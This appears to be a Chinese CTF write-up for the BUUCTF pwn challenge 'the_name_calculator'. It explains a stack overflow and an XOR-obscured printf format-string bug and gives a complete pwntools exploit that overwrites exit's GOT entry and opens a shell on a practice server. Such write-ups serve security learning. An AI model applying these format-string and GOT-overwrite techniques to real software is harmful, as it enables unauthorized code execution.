[BUUCTF-pwn] noxctf2018_the_name_calculator

printf格式化字符串漏洞

漏洞点:

main中读name有溢出,覆盖到v4可以进入下一步

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char buf[28]; // [esp+Ch] [ebp-2Ch] BYREF
  int v4; // [esp+28h] [ebp-10h]
  unsigned int v5; // [esp+2Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  puts("What is your name?");
  fflush(stdout);
  read(0, buf, 0x20u);
  fflush(stdin);
  if ( v4 == 111458341 )                        // buf正好覆盖到v4
  {
    secretFunc();
  }
  else
  {
    puts("I've heard better");
    fflush(stdout);
  }
  exit(0);
}

        第2步有printf 但要经过异或加密

int secretFunc()
{
  unsigned int i; // eax
  int *j; // [esp+8h] [ebp-40h]
  ssize_t v3; // [esp+18h] [ebp-30h]
  int buf[10]; // [esp+20h] [ebp-28h] BYREF
  void *retaddr; // [esp+4Ch] [ebp+4h]

  buf[7] = __readgsdword(0x14u);
  for ( i = 0; i < 7; ++i )
    buf[i] = 0;
  retAddr = (int)retaddr;
  puts("Say that again please");
  fflush(stdout);
  v3 = read(0, buf, 0x1Bu);
  *((_BYTE *)buf + v3) = 0;
  fflush(stdin);
  for ( j = buf; j < (int *)((char *)&buf[-1] + v3); j = (int *)((char *)j + 1) )
    *j ^= 0x5F7B4153u;
  puts("Your name was encrypted using the best encryption in the world");
  printf("This is your new name: ");
  printf((const char *)buf);                    // 修改 got.exit,retAddr 2字节为 0x8596(superSecretFunc)
  fflush(stdout);
  if ( retaddr != (void *)retAddr )
    exit(1);
  return 0;
}

解题思路:

  1. name溢出覆盖v4 
  2. p32(elf.got['exit'])+p32(0x804a04c) +b'%34190c%12$hn%13$hn' 正好27个字符,一个都不少
from pwn import *

local = 0
if local == 1:  #local
    p = process('./pwn')
elif local == 0:           #remote
    p = remote('node4.buuoj.cn', 29236) 

libc_elf = ELF('/home/shi/pwn/libc6-i386_2.27-3u1/libc-2.27.so')
one = [0x3cbea,0x3cbec,0x3cbf0,0x3cbf7,0x6729f,0x672a0,0x13573e,0x13573f]
libc_start_main_ret = 0x1eee5    
    

elf = ELF('./pwn')
context(arch = 'i386', log_level='debug')

def mydecode(pay):
    enc = bytes.fromhex('5F7B4153')[::-1]
    tmp = list(pay + b'\x00'*4)
    for i in range(len(pay)-4):
        for j in range(4):
            tmp[i+j] = tmp[i+j]^enc[j]
    return bytes(tmp)

#gdb.attach(p, 'b*0x80486bb')

p.sendafter(b"What is your name?\n", b'A'*0x1c+ p32(111458341))

#payload = b'%x'*13+b'\x00'
payload = p32(elf.got['exit'])+p32(0x804a04c) +b'%34190c%12$hn%13$hn'
p.sendafter(b"Say that again please\n", mydecode(payload)[:27])

p.recv()
p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值